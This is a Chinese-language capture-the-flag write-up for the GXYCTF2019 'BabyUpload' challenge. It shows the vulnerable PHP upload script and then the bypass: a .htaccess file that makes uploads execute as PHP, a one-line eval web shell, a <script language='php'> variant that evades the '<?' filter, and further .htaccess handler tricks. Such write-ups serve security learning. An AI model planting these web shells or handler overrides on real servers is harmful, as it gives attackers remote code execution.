[PHP知识库][GXYCTF2019]BabyUpload 1 文件上传

源码：

<?php
session_start();
echo "<meta http-equiv=\"Content-Type\" content=\"textml; charset=utf-8\" /> 
<title>Upload</title>
<form action=\"\" method=\"post\" enctype=\"multipart/form-data\">
上传文件<input type=\"file\" name=\"uploaded\" />
<input type=\"submit\" name=\"submit\" value=\"上传\" />
</form>";
error_reporting(0);
if(!isset($_SESSION['user'])){
    $_SESSION['user'] = md5((string)time() . (string)rand(100, 1000));
}
if(isset($_FILES['uploaded'])) {
    $target_path  = getcwd() . "/upload/" . md5($_SESSION['user']);
    $t_path = $target_path . "/" . basename($_FILES['uploaded']['name']);
    $uploaded_name = $_FILES['uploaded']['name'];
    $uploaded_ext  = substr($uploaded_name, strrpos($uploaded_name,'.') + 1);
    $uploaded_size = $_FILES['uploaded']['size'];
    $uploaded_tmp  = $_FILES['uploaded']['tmp_name'];
 
    if(preg_match("/ph/i", strtolower($uploaded_ext))){
        die("后缀名不能有ph！");
    }
    else{
        if ((($_FILES["uploaded"]["type"] == "
            ") || ($_FILES["uploaded"]["type"] == "image/jpeg") || ($_FILES["uploaded"]["type"] == "imagepeg")) && ($_FILES["uploaded"]["size"] < 2048)){
            $content = file_get_contents($uploaded_tmp);
            if(preg_match("/\<\?/i", $content)){
                die("诶，别蒙我啊，这标志明显还是php啊");
            }
            else{
                mkdir(iconv("UTF-8", "GBK", $target_path), 0777, true);
                move_uploaded_file($uploaded_tmp, $t_path);
                echo "{$t_path} succesfully uploaded!";
            }
        }
        else{
            die("上传类型也太露骨了吧！");
        }
    }
}
?>

png文件不许上传，尝试上传jpg

修改后缀名为.htaccess，文件内容为

SetHandler application/x-httpd-php

上传一句话木马

<?php eval($_POST[cmd]);?>

失败，因为过滤了 <?
换一种方式

<script language='php'>eval($_POST[cmd]);</script>

上传成功，蚁剑连接一下，在根目录找到flag

补充：
.htaccess的方法：
方法一：
这里时是要包含所有文件带有lx1的文件（只要文件名里面有lx1都可以），都会被当成php代码执行

<FilesMatch "lx1">
SetHandler application/x-httpd-php
</FilesMatch>

方法二：
这种方法时，后面的.png或者.jpg文件能被当成php代码执行，如果想换成别的改扩展名就可以

AddType application/x-httpd-php .png
AddType application/x-httpd-php .jpg